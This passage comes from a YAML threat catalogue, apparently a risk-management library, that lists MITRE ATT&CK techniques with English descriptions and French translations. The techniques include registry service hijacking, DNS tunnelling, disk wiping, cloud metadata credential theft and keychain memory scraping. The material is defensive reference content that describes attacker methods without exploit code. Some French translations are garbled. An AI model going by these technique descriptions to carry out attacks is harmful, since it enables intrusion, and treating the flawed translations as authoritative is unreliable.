          \ d\u2019un service, les adversaires peuvent modifier le binPath/ImagePath\
          \ du service pour pointer vers un autre ex\xE9cutable sous leur contr\xF4\
          le. Lorsque le service d\xE9marre ou est red\xE9marr\xE9, le programme contr\xF4\
          l\xE9 par l\u2019adversaire s\u2019ex\xE9cute, ce qui permet \xE0 l\u2019\
          adversaire d\u2019\xE9tablir la persistance et/ou l\u2019\xE9l\xE9vation\
          \ de privil\xE8ges vers le contexte de compte sous lequel le service est\
          \ configur\xE9 pour s\u2019ex\xE9cuter (compte local/de domaine, SYSTEM,\
          \ LocalService ou NetworkService).\n\nLes adversaires peuvent \xE9galement\
          \ modifier d\u2019autres cl\xE9s de registre dans l\u2019arborescence du\
          \ registre du service. Par exemple, la touche <code>FailureCommand</code>\
          \ peut \xEAtre modifi\xE9e afin que le service soit ex\xE9cut\xE9 dans un\
          \ contexte \xE9lev\xE9 chaque fois qu\u2019il \xE9choue ou qu\u2019il est\
          \ intentionnellement endommag\xE9. (Citation : Collectionneurs li\xE9s au\
          \ Kansa Service)(Citation\_: Faiblesse des permanentes du registre des tweets)\n\
          \nLa cl\xE9 <code>Performance</code> contient le nom de la DLL de performance\
          \ d\u2019un service de pilote et les noms de plusieurs fonctions export\xE9\
          es dans la DLL. (R\xE9f\xE9rence : microsoft_services_registry_tree) Si\
          \ la cl\xE9 <code>de performance</code> n\u2019est pas d\xE9j\xE0 pr\xE9\
          sente et si un utilisateur contr\xF4l\xE9 par l\u2019adversaire dispose\
          \ de l\u2019autorisation <code>Cr\xE9er une sous-cl\xE9</code>, les adversaires\
          \ peuvent cr\xE9er la cl\xE9 <code>de performance</code> dans l\u2019arborescence\
          \ du registre du service pour pointer vers une DLL malveillante. (R\xE9\
          f\xE9rence : insecure_reg_perms)\n\nLes adversaires peuvent \xE9galement\
          \ ajouter la cl\xE9 <code>Parameters</code>, qui stocke des donn\xE9es sp\xE9\
          cifiques au pilote, ou d\u2019autres sous-cl\xE9s personnalis\xE9es pour\
          \ leurs services malveillants afin d\u2019\xE9tablir la persistance ou d\u2019\
          activer d\u2019autres activit\xE9s malveillantes. (R\xE9f\xE9rence : microsoft_services_registry_tree)(R\xE9\
          f\xE9rence : troj_zegost) De plus, si des adversaires lancent leurs services\
          \ malveillants \xE0 l\u2019aide de svchost.exe, le fichier du service peut\
          \ \xEAtre identifi\xE9 \xE0 l\u2019aide <code>de HKEY_LOCAL_MACHINE\\SYSTEM\\\
          CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll</code>.\
          \ (Citation : malware_hides_service)\nhttps://attack.mitre.org/techniques/T1574/011"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1596.001
    ref_id: T1596.001
    name: DNS/Passive DNS
    description: "Adversaries may search DNS data for information about victims that\
      \ can be used during targeting. DNS information may include a variety of details,\
      \ including registered name servers as well as records that outline addressing\
      \ for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries\
      \ may search DNS data to gather actionable information. Threat actors can query\
      \ nameservers for a target organization directly, or search through centralized\
      \ repositories of logged DNS query responses (known as passive DNS).(Citation:\
      \ DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target\
      \ DNS misconfigurations/leaks that reveal information about internal networks.\
      \ Information from these sources may reveal opportunities for other forms of\
      \ reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)\
      \ or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),\
      \ establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)\
      \ or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)),\
      \ and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)\
      \ or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).\nhttps://attack.mitre.org/techniques/T1596/001"
    translations:
      fr:
        name: DNS/DNS passif
        description: "Les adversaires peuvent rechercher dans les donn\xE9es DNS des\
          \ informations sur les victimes qui peuvent \xEAtre utilis\xE9es lors du\
          \ ciblage. Les informations DNS peuvent inclure divers d\xE9tails, y compris\
          \ des serveurs de noms enregistr\xE9s ainsi que des enregistrements qui\
          \ d\xE9crivent l\u2019adressage pour les sous-domaines, les serveurs de\
          \ messagerie et autres h\xF4tes d\u2019une cible.\n\nLes adversaires peuvent\
          \ rechercher des donn\xE9es DNS pour recueillir des informations exploitables.\
          \ Les acteurs malveillants peuvent interroger directement les serveurs de\
          \ noms d\u2019une organisation cible ou effectuer des recherches dans des\
          \ r\xE9f\xE9rentiels centralis\xE9s de r\xE9ponses aux requ\xEAtes DNS enregistr\xE9\
          es (appel\xE9es DNS passifs). (Citation : benne \xE0 ordures DNS)(Citation\
          \ : Circl DNS passif) Les adversaires peuvent \xE9galement rechercher et\
          \ cibler les erreurs de configuration/fuites DNS qui r\xE9v\xE8lent des\
          \ informations sur les r\xE9seaux internes. Les informations provenant de\
          \ ces sources peuvent r\xE9v\xE9ler des possibilit\xE9s pour d\u2019autres\
          \ formes de reconnaissance (ex : [Rechercher des sites Web appartenant \xE0\
          \ la victime](https://attack.mitre.org/techniques/T1594) ou [Rechercher\
          \ des sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablir des ressources op\xE9rationnelles (ex : [Acqu\xE9rir\
          \ l\u2019infrastructure](https://attack.mitre.org/techniques/T1583) ou [Compromettre\
          \ l\u2019infrastructure](https://attack.mitre.org/techniques/T1584)), et/ou\
          \ un acc\xE8s initial (ex : [Externe \xE0 distance Services](https://attack.mitre.org/techniques/T1133)\
          \ ou [Relation de confiance](https://attack.mitre.org/techniques/T1199)).\n\
          https://attack.mitre.org/techniques/T1596/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1499.003
    ref_id: T1499.003
    name: Application Exhaustion Flood
    description: 'Adversaries may target resource intensive features of applications
      to cause a denial of service (DoS), denying availability to those applications.
      For example, specific features in web applications may be highly resource intensive.
      Repeated requests to those features may be able to exhaust system resources
      and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport
      Jan 2018)

      https://attack.mitre.org/techniques/T1499/003'
    translations:
      fr:
        name: "Application \xC9puisement Inondation"
        description: "Les adversaires peuvent cibler des fonctionnalit\xE9s gourmandes\
          \ en ressources des applications pour provoquer un d\xE9ni de service (DoS),\
          \ privant ainsi ces applications de leur disponibilit\xE9. Par exemple,\
          \ des fonctionnalit\xE9s sp\xE9cifiques dans les applications Web peuvent\
          \ \xEAtre tr\xE8s gourmandes en ressources. Des requ\xEAtes r\xE9p\xE9t\xE9\
          es adress\xE9es \xE0 ces fonctionnalit\xE9s peuvent \xE9puiser les ressources\
          \ syst\xE8me et refuser l\u2019acc\xE8s \xE0 l\u2019application ou au serveur\
          \ lui-m\xEAme. (Citation : Arbor AnnualDoSreport janvier 2018)\nhttps://attack.mitre.org/techniques/T1499/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1195.001
    ref_id: T1195.001
    name: Compromise Software Dependencies and Development Tools
    description: "Adversaries may manipulate software dependencies and development\
      \ tools prior to receipt by a final consumer for the purpose of data or system\
      \ compromise. Applications often depend on external software to function properly.\
      \ Popular open source projects that are used as dependencies in many applications\
      \ may be targeted as a means to add malicious code to users of the dependency.(Citation:\
      \ Trendmicro NPM Compromise)  \n\nTargeting may be specific to a desired victim\
      \ set or may be distributed to a broad set of consumers but only move on to\
      \ additional tactics on specific victims.\nhttps://attack.mitre.org/techniques/T1195/001"
    translations:
      fr:
        name: "Compromettre les d\xE9pendances logicielles et les outils de d\xE9\
          veloppement"
        description: "Les adversaires peuvent manipuler les d\xE9pendances logicielles\
          \ et les outils de d\xE9veloppement avant qu\u2019ils ne soient re\xE7us\
          \ par un consommateur final dans le but de compromettre les donn\xE9es ou\
          \ le syst\xE8me. Les applications d\xE9pendent souvent de logiciels externes\
          \ pour fonctionner correctement. Les projets open source populaires qui\
          \ sont utilis\xE9s comme d\xE9pendances dans de nombreuses applications\
          \ peuvent \xEAtre cibl\xE9s comme moyen d\u2019ajouter du code malveillant\
          \ aux utilisateurs de la d\xE9pendance. (Citation : Compromis NPM de Trendmicro)\
          \  \n\nLe ciblage peut \xEAtre sp\xE9cifique \xE0 un ensemble de victimes\
          \ souhait\xE9es ou peut \xEAtre distribu\xE9 \xE0 un large \xE9ventail de\
          \ consommateurs, mais ne passer qu\u2019\xE0 des tactiques suppl\xE9mentaires\
          \ visant des victimes sp\xE9cifiques.\nhttps://attack.mitre.org/techniques/T1195/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1588.004
    ref_id: T1588.004
    name: Digital Certificates
    description: 'Adversaries may buy and/or steal SSL/TLS certificates that can be
      used during targeting. SSL/TLS certificates are designed to instill trust. They
      include information about the key, information about its owner''s identity,
      and the digital signature of an entity that has verified the certificate''s
      contents are correct. If the signature is valid, and the person examining the
      certificate trusts the signer, then they know they can use that key to communicate
      with its owner.


      Adversaries may purchase or steal SSL/TLS certificates to further their operations,
      such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002)
      with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even
      enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)
      if the certificate is trusted or otherwise added to the root of trust (i.e.
      [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).
      The purchase of digital certificates may be done using a front organization
      or using information stolen from a previously compromised entity that allows
      the adversary to validate to a certificate provider as that entity. Adversaries
      may also steal certificate materials directly from a compromised third-party,
      including from certificate authorities.(Citation: DiginotarCompromise) Adversaries
      may register or hijack domains that they will later purchase an SSL/TLS certificate
      for.


      Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates,
      such as domain validation certificates, for free.(Citation: Let''s Encrypt FAQ)


      After obtaining a digital certificate, an adversary may then install that certificate
      (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003))
      on infrastructure under their control.

      https://attack.mitre.org/techniques/T1588/004'
    translations:
      fr:
        name: "Certificats num\xE9riques"
        description: "Les adversaires peuvent acheter et/ou voler des certificats\
          \ SSL/TLS qui peuvent \xEAtre utilis\xE9s lors du ciblage. Les certificats\
          \ SSL/TLS sont con\xE7us pour instaurer la confiance. Il s\u2019agit notamment\
          \ d\u2019informations sur la cl\xE9, d\u2019informations sur l\u2019identit\xE9\
          \ de son propri\xE9taire et de la signature num\xE9rique d\u2019une entit\xE9\
          \ qui a v\xE9rifi\xE9 que le contenu du certificat est correct. Si la signature\
          \ est valide et que la personne qui examine le certificat fait confiance\
          \ au signataire, elle sait qu\u2019elle peut utiliser cette cl\xE9 pour\
          \ communiquer avec son propri\xE9taire.\n\nLes adversaires peuvent acheter\
          \ ou voler des certificats SSL/TLS pour poursuivre leurs op\xE9rations,\
          \ telles que le chiffrement du trafic C2 (ex : [Cryptographie asym\xE9trique](https://attack.mitre.org/techniques/T1573/002)\
          \ avec [Protocoles Web](https://attack.mitre.org/techniques/T1071/001))\
          \ ou m\xEAme l\u2019activation de [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)\
          \ si le certificat est approuv\xE9 ou ajout\xE9 d\u2019une autre mani\xE8\
          re \xE0 la racine de confiance (c\u2019est-\xE0-dire [Installer le certificat\
          \ racine]( https://attack.mitre.org/techniques/T1553/004)). L\u2019achat\
          \ de certificats num\xE9riques peut \xEAtre effectu\xE9 \xE0 l\u2019aide\
          \ d\u2019une organisation de fa\xE7ade ou \xE0 l\u2019aide d\u2019informations\
          \ vol\xE9es \xE0 une entit\xE9 pr\xE9c\xE9demment compromise qui permettent\
          \ \xE0 l\u2019adversaire de valider aupr\xE8s d\u2019un fournisseur de certificats\
          \ en tant qu\u2019entit\xE9 telle qu\u2019elle est dans le m\xEAme temps.\
          \ Les adversaires peuvent \xE9galement voler des documents de certificat\
          \ directement aupr\xE8s d\u2019un tiers compromis, y compris aupr\xE8s des\
          \ autorit\xE9s de certification. (Citation : DiginotarCompromise) Les adversaires\
          \ peuvent enregistrer ou d\xE9tourner des domaines pour lesquels ils ach\xE8\
          teront ult\xE9rieurement un certificat SSL/TLS.\n\nIl existe des autorit\xE9\
          s de certification qui permettent aux adversaires d\u2019acqu\xE9rir gratuitement\
          \ des certificats SSL/TLS, tels que des certificats de validation de domaine.\
          \ (Citation\_: FAQ sur Let\u2019s Encrypt)\n\nApr\xE8s avoir obtenu un certificat\
          \ num\xE9rique, un adversaire peut ensuite installer ce certificat (voir\
          \ [Installer un certificat num\xE9rique](https://attack.mitre.org/techniques/T1608/003))\
          \ sur l\u2019infrastructure sous son contr\xF4le.\nhttps://attack.mitre.org/techniques/T1588/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1583.002
    ref_id: T1583.002
    name: DNS Server
    description: 'Adversaries may set up their own Domain Name System (DNS) servers
      that can be used during targeting. During post-compromise activity, adversaries
      may utilize DNS traffic for various tasks, including for Command and Control
      (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)).
      Instead of hijacking existing DNS servers, adversaries may opt to configure
      and run their own DNS servers in support of operations.


      By running their own DNS servers, adversaries can have more control over how
      they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)).
      With control over a DNS server, adversaries can configure DNS applications to
      provide conditional responses to malware and, generally, have more flexibility
      in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)

      https://attack.mitre.org/techniques/T1583/002'
    translations:
      fr:
        name: Serveur DNS
        description: "Les adversaires peuvent configurer leurs propres serveurs DNS\
          \ (Domain Name System) qui peuvent \xEAtre utilis\xE9s lors du ciblage.\
          \ Au cours de l\u2019activit\xE9 post-compromission, les adversaires peuvent\
          \ utiliser le trafic DNS pour diverses t\xE2ches, notamment pour la commande\
          \ et le contr\xF4le (ex : [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)).\
          \ Au lieu de d\xE9tourner les serveurs DNS existants, les adversaires peuvent\
          \ choisir de configurer et d\u2019ex\xE9cuter leurs propres serveurs DNS\
          \ pour soutenir les op\xE9rations.\n\nEn ex\xE9cutant leurs propres serveurs\
          \ DNS, les adversaires peuvent avoir plus de contr\xF4le sur la fa\xE7on\
          \ dont ils administrent le trafic DNS C2 c\xF4t\xE9 serveur ([DNS](https://attack.mitre.org/techniques/T1071/004)).\
          \ En contr\xF4lant un serveur DNS, les adversaires peuvent configurer des\
          \ applications DNS pour fournir des r\xE9ponses conditionnelles aux logiciels\
          \ malveillants et, g\xE9n\xE9ralement, disposer d\u2019une plus grande flexibilit\xE9\
          \ dans la structure du canal C2 bas\xE9 sur DNS. (Citation : Unit42 DNS\
          \ mars 2019)\nhttps://attack.mitre.org/techniques/T1583/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1561
    ref_id: T1561
    name: Disk Wipe
    description: 'Adversaries may wipe or corrupt raw disk data on specific systems
      or in large numbers in a network to interrupt availability to system and network
      resources. With direct write access to a disk, adversaries may attempt to overwrite
      portions of disk data. Adversaries may opt to wipe arbitrary portions of disk
      data and/or wipe disk structures like the master boot record (MBR). A complete
      wipe of all disk sectors may be attempted.


      To maximize impact on the target organization in operations where network-wide
      availability interruption is the goal, malware used for wiping disks may have
      worm-like features to propagate across a network by leveraging additional techniques
      like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential
      Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin
      Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster
      Destructive Malware)


      On network devices, adversaries may wipe configuration files and other data
      from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
      commands such as `erase`.(Citation: erase_cmd_cisco)

      https://attack.mitre.org/techniques/T1561'
    translations:
      fr:
        name: Effacement du disque
        description: "Les adversaires peuvent effacer ou corrompre les donn\xE9es\
          \ brutes du disque sur des syst\xE8mes sp\xE9cifiques ou en grand nombre\
          \ dans un r\xE9seau pour interrompre la disponibilit\xE9 des ressources\
          \ syst\xE8me et r\xE9seau. Avec un acc\xE8s direct en \xE9criture \xE0 un\
          \ disque, les adversaires peuvent tenter d\u2019\xE9craser des parties des\
          \ donn\xE9es du disque. Les adversaires peuvent choisir d\u2019effacer des\
          \ parties arbitraires des donn\xE9es du disque et/ou d\u2019effacer les\
          \ structures de disque comme l\u2019enregistrement de d\xE9marrage principal\
          \ (MBR). Une tentative d\u2019effacement complet de tous les secteurs du\
          \ disque peut \xEAtre tent\xE9e.\n\nPour maximiser l\u2019impact sur l\u2019\
          organisation cible dans les op\xE9rations o\xF9 l\u2019interruption de la\
          \ disponibilit\xE9 \xE0 l\u2019\xE9chelle du r\xE9seau est l\u2019objectif,\
          \ les programmes malveillants utilis\xE9s pour effacer les disques peuvent\
          \ avoir des fonctionnalit\xE9s de type ver pour se propager sur un r\xE9\
          seau en exploitant des techniques suppl\xE9mentaires telles que [Comptes\
          \ valides](https://attack.mitre.org/techniques/T1078), [Vidage des informations\
          \ d\u2019identification du syst\xE8me d\u2019exploitation](https://attack.mitre.org/techniques/T1003)\
          \ et [Partages SMB/Windows Admin](https://attack.mitre.org/techniques/T1021/002).\
          \ (Citation : Logiciel malveillant destructeur Novetta Blockbuster)\n\n\
          Sur les p\xE9riph\xE9riques r\xE9seau, les adversaires peuvent effacer les\
          \ fichiers de configuration et d\u2019autres donn\xE9es du p\xE9riph\xE9\
          rique \xE0 l\u2019aide de commandes telles que \xAB effacer \xBB (https://attack.mitre.org/techniques/T1059/008\
          \ de l\u2019interface de ligne de commande [Network Device CLI](. (R\xE9\
          f\xE9rence : erase_cmd_cisco)\nhttps://attack.mitre.org/techniques/T1561"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1071.004
    ref_id: T1071.004
    name: DNS
    description: "Adversaries may communicate using the Domain Name System (DNS) application\
      \ layer protocol to avoid detection/network filtering by blending in with existing\
      \ traffic. Commands to the remote system, and often the results of those commands,\
      \ will be embedded within the protocol traffic between the client and server.\
      \ \n\nThe DNS protocol serves an administrative function in computer networking\
      \ and thus may be very common in environments. DNS traffic may also be allowed\
      \ even before network authentication is completed. DNS packets contain many\
      \ fields and headers in which data can be concealed. Often known as DNS tunneling,\
      \ adversaries may abuse DNS to communicate with systems under their control\
      \ within a victim network while also mimicking normal, expected traffic.(Citation:\
      \ PAN DNS Tunneling)(Citation: Medium DnsTunneling)\nhttps://attack.mitre.org/techniques/T1071/004"
    translations:
      fr:
        name: DNS
        description: "Les adversaires peuvent communiquer \xE0 l\u2019aide du protocole\
          \ de couche application DNS (Domain Name System) pour \xE9viter la d\xE9\
          tection/le filtrage du r\xE9seau en se fondant dans le trafic existant.\
          \ Les commandes adress\xE9es au syst\xE8me distant, et souvent les r\xE9\
          sultats de ces commandes, seront incorpor\xE9s dans le trafic de protocole\
          \ entre le client et le serveur. \n\nLe protocole DNS remplit une fonction\
          \ administrative dans les r\xE9seaux informatiques et peut donc \xEAtre\
          \ tr\xE8s courant dans les environnements. Le trafic DNS peut \xE9galement\
          \ \xEAtre autoris\xE9 avant m\xEAme que l\u2019authentification r\xE9seau\
          \ ne soit termin\xE9e. Les paquets DNS contiennent de nombreux champs et\
          \ en-t\xEAtes dans lesquels les donn\xE9es peuvent \xEAtre dissimul\xE9\
          es. Souvent connu sous le nom de tunneling DNS, les adversaires peuvent\
          \ abuser du DNS pour communiquer avec les syst\xE8mes sous leur contr\xF4\
          le au sein d\u2019un r\xE9seau victime tout en imitant le trafic normal\
          \ et attendu. (Citation : Tunneling DNS PAN)(Citation : Medium DnsTunneling)\n\
          https://attack.mitre.org/techniques/T1071/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1552.005
    ref_id: T1552.005
    name: Cloud Instance Metadata API
    description: 'Adversaries may attempt to access the Cloud Instance Metadata API
      to collect credentials and other sensitive data.


      Most cloud service providers support a Cloud Instance Metadata API which is
      a service provided to running virtual instances that allows applications to
      access information about the running virtual instance. Available information
      generally includes name, security group, and additional metadata including sensitive
      data such as credentials and UserData scripts that may contain additional secrets.
      The Instance Metadata API is provided as a convenience to assist in managing
      applications and is accessible by anyone who can access the instance.(Citation:
      AWS Instance Metadata API) A cloud metadata API has been used in at least one
      high profile compromise.(Citation: Krebs Capital One August 2019)


      If adversaries have a presence on the running virtual instance, they may query
      the Instance Metadata API directly to identify credentials that grant access
      to additional resources. Additionally, adversaries may exploit a Server-Side
      Request Forgery (SSRF) vulnerability in a public facing web proxy that allows
      them to gain access to the sensitive information via a request to the Instance
      Metadata API.(Citation: RedLock Instance Metadata API 2018)


      The de facto standard across cloud service providers is to host the Instance
      Metadata API at <code>http[:]//169.254.169.254</code>.

      https://attack.mitre.org/techniques/T1552/005'
    translations:
      fr:
        name: "API de m\xE9tadonn\xE9es d\u2019instance cloud"
        description: "Les adversaires peuvent tenter d\u2019acc\xE9der \xE0 l\u2019\
          API Cloud Instance Metadata pour collecter des informations d\u2019identification\
          \ et d\u2019autres donn\xE9es sensibles.\n\nLa plupart des fournisseurs\
          \ de services cloud prennent en charge une API de m\xE9tadonn\xE9es d\u2019\
          instance cloud, qui est un service fourni aux instances virtuelles en cours\
          \ d\u2019ex\xE9cution qui permet aux applications d\u2019acc\xE9der aux\
          \ informations sur l\u2019instance virtuelle en cours d\u2019ex\xE9cution.\
          \ Les informations disponibles incluent g\xE9n\xE9ralement le nom, le groupe\
          \ de s\xE9curit\xE9 et des m\xE9tadonn\xE9es suppl\xE9mentaires, y compris\
          \ des donn\xE9es sensibles telles que des informations d\u2019identification\
          \ et des scripts UserData qui peuvent contenir des secrets suppl\xE9mentaires.\
          \ L\u2019API de m\xE9tadonn\xE9es d\u2019instance est fournie \xE0 titre\
          \ pratique pour faciliter la gestion des applications et est accessible\
          \ \xE0 toute personne pouvant acc\xE9der \xE0 l\u2019instance. (R\xE9f\xE9\
          rence : API de m\xE9tadonn\xE9es d\u2019instance AWS) Une API de m\xE9tadonn\xE9\
          es cloud a \xE9t\xE9 utilis\xE9e dans au moins une compromission de haut\
          \ niveau. (Citation : Krebs Capital One, ao\xFBt 2019)\n\nSi des adversaires\
          \ sont pr\xE9sents sur l\u2019instance virtuelle en cours d\u2019ex\xE9\
          cution, ils peuvent interroger directement l\u2019API de m\xE9tadonn\xE9\
          es d\u2019instance pour identifier les informations d\u2019identification\
          \ qui permettent d\u2019acc\xE9der \xE0 des ressources suppl\xE9mentaires.\
          \ De plus, les adversaires peuvent exploiter une vuln\xE9rabilit\xE9 SSRF\
          \ (Server-Side Request Forgery) dans un proxy Web public qui leur permet\
          \ d\u2019acc\xE9der aux informations sensibles via une requ\xEAte adress\xE9\
          e \xE0 l\u2019API de m\xE9tadonn\xE9es d\u2019instance. (Citation : API\
          \ de m\xE9tadonn\xE9es d\u2019instance RedLock 2018)\n\nLa norme de facto\
          \ pour les fournisseurs de services cloud est d\u2019h\xE9berger l\u2019\
          API de m\xE9tadonn\xE9es d\u2019instance \xE0 l\u2019adresse <code>http[\_\
          :]//169.254.169.254</code>.\nhttps://attack.mitre.org/techniques/T1552/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1555.002
    ref_id: T1555.002
    name: Securityd Memory
    description: "An adversary with root access may gather credentials by reading\
      \ `securityd`\u2019s memory. `securityd` is a service/daemon responsible for\
      \ implementing security protocols such as encryption and authorization.(Citation:\
      \ Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s\
      \ memory to find the correct sequence of keys to decrypt the user\u2019s logon\
      \ keychain. This may provide the adversary with various plaintext passwords,\
      \ such as those for users, WiFi, mail, browsers, certificates, secure notes,\
      \ etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior\
      \ to El Capitan, users with root access can read plaintext keychain passwords\
      \ of logged-in users because Apple\u2019s keychain implementation allows these\
      \ credentials to be cached so that users are not repeatedly prompted for passwords.(Citation:\
      \ OS X Keychain)(Citation: External to DA, the OS X Way) Apple\u2019s `securityd`\
      \ utility takes the user\u2019s logon password, encrypts it with PBKDF2, and\
      \ stores this master key in memory. Apple also uses a set of keys and algorithms\
      \ to encrypt the user\u2019s password, but once the master key is found, an\
      \ adversary need only iterate over the other values to unlock the final password.(Citation:\
      \ OS X Keychain)\nhttps://attack.mitre.org/techniques/T1555/002"
    translations:
      fr:
        name: "M\xE9moire s\xE9curis\xE9e"
        description: "Un adversaire disposant d\u2019un acc\xE8s root peut collecter\
          \ des informations d\u2019identification en lisant la m\xE9moire de \xAB\
          \ securityd \xBB. 'Securityd' est un service/d\xE9mon responsable de la\
          \ mise en \u0153uvre de protocoles de s\xE9curit\xE9 tels que le cryptage\
          \ et l\u2019autorisation. (Citation : Apple Dev SecurityD) Un adversaire\
          \ privil\xE9gi\xE9 peut \xEAtre en mesure d\u2019analyser la m\xE9moire\
          \ de \xAB securityd \xBB pour trouver la s\xE9quence de cl\xE9s correcte\
          \ afin de d\xE9chiffrer le trousseau de connexion de l\u2019utilisateur.\
          \ Cela peut fournir \xE0 l\u2019adversaire divers mots de passe en texte\
          \ brut, tels que ceux des utilisateurs, du WiFi, de la messagerie, des navigateurs,\
          \ des certificats, des notes s\xE9curis\xE9es, etc. (Citation : OS X Keychain)\n\
          \nDans OS X ant\xE9rieur \xE0 El Capitan, les utilisateurs disposant d\u2019\
          un acc\xE8s root peuvent lire les mots de passe du trousseau en texte brut\
          \ des utilisateurs connect\xE9s, car l\u2019impl\xE9mentation du trousseau\
          \ d\u2019Apple permet de mettre en cache ces informations d\u2019identification\
          \ afin que les utilisateurs ne soient pas invit\xE9s \xE0 saisir leurs mots\
          \ de passe \xE0 plusieurs reprises. (Citation\_: Porte-cl\xE9s OS X)(citation\
          \ : externe \xE0 DA, \xE0 la mani\xE8re d\u2019OS X) L\u2019utilitaire \xAB\
          \ s\xE9curis\xE9 \xBB d\u2019Apple prend le mot de passe de connexion de\
          \ l\u2019utilisateur, le crypte avec PBKDF2 et stocke cette cl\xE9 principale\
          \ en m\xE9moire. Apple utilise \xE9galement un ensemble de cl\xE9s et d\u2019\
          algorithmes pour chiffrer le mot de passe de l\u2019utilisateur, mais une\
          \ fois la cl\xE9 principale trouv\xE9e, un adversaire n\u2019a qu\u2019\xE0\
          \ it\xE9rer sur les autres valeurs pour d\xE9verrouiller le mot de passe\
          \ final. (Citation\_: Porte-cl\xE9s OS X)\nhttps://attack.mitre.org/techniques/T1555/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1615
    ref_id: T1615
    name: Group Policy Discovery
    description: 'Adversaries may gather information on Group Policy settings to identify
      paths for privilege escalation, security measures applied within a domain, and
      to discover patterns in domain objects that can be manipulated or used to blend
      in the environment. Group Policy allows for centralized management of user and
      computer settings in Active Directory (AD). Group policy objects (GPOs) are
      containers for group policy settings made up of files stored within a predictable
      network path `\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.(Citation: TechNet Group
      Policy Basics)(Citation: ADSecurity GPO Persistence 2016)


      Adversaries may use commands such as <code>gpresult</code> or various publicly
      available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>,
      to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation:
      Github PowerShell Empire) Adversaries may use this information to shape follow-on
      behaviors, including determining potential attack paths within the target network
      as well as opportunities to manipulate Group Policy settings (i.e. [Domain or
      Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for
      their benefit.

      https://attack.mitre.org/techniques/T1615'
    translations:
      fr:
        name: "D\xE9couverte de la strat\xE9gie de groupe"
        description: "Les adversaires peuvent recueillir des informations sur les\
          \ param\xE8tres de strat\xE9gie de groupe afin d\u2019identifier les chemins\
          \ d\u2019acc\xE8s \xE0 l\u2019\xE9l\xE9vation des privil\xE8ges, les mesures\
          \ de s\xE9curit\xE9 appliqu\xE9es au sein d\u2019un domaine et de d\xE9\
          couvrir des mod\xE8les dans les objets du domaine qui peuvent \xEAtre manipul\xE9\
          s ou utilis\xE9s pour se fondre dans l\u2019environnement. La strat\xE9\
          gie de groupe permet une gestion centralis\xE9e des param\xE8tres de l\u2019\
          utilisateur et de l\u2019ordinateur dans Active Directory (AD). Les objets\
          \ de strat\xE9gie de groupe (GPO) sont des conteneurs pour les param\xE8\
          tres de strat\xE9gie de groupe compos\xE9s de fichiers stock\xE9s dans un\
          \ chemin d\u2019acc\xE8s r\xE9seau pr\xE9visible '\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\\
          Policies\\'.( Citation : Principes de base de la politique de groupe TechNet\
          \ (Citation : ADSecurity GPO Persistence 2016)\n\nLes adversaires peuvent\
          \ utiliser des commandes telles que <code>gpresult</code> ou diverses fonctions\
          \ PowerShell accessibles publiquement, telles que <code>Get-DomainGPO</code>\
          \ et <code>Get-DomainGPOLocalGroup</code>, pour collecter des informations\
          \ sur les param\xE8tres de strat\xE9gie de groupe. (Citation : Microsoft\
          \ gpresult)(Citation : Github PowerShell Empire) Les adversaires peuvent\
          \ utiliser ces informations pour fa\xE7onner des comportements ult\xE9rieurs,\
          \ notamment pour d\xE9terminer les chemins d\u2019attaque potentiels au\
          \ sein du r\xE9seau cible, ainsi que les possibilit\xE9s de manipuler les\
          \ param\xE8tres de strat\xE9gie de groupe (c\u2019est-\xE0-dire [Modification\
          \ de la politique de domaine ou de locataire](https://attack.mitre.org/techniques/T1484))\
          \ \xE0 leur avantage.\nhttps://attack.mitre.org/techniques/T1615"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1542.003
    ref_id: T1542.003
    name: Bootkit
    description: 'Adversaries may use bootkits to persist on systems. Bootkits reside
      at a layer below the operating system and may make it difficult to perform full
      remediation unless an organization suspects one was used and can act accordingly.


      A bootkit is a malware variant that modifies the boot sectors of a hard drive,
      including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation:
      Mandiant M Trends 2016) The MBR is the section of disk that is first loaded
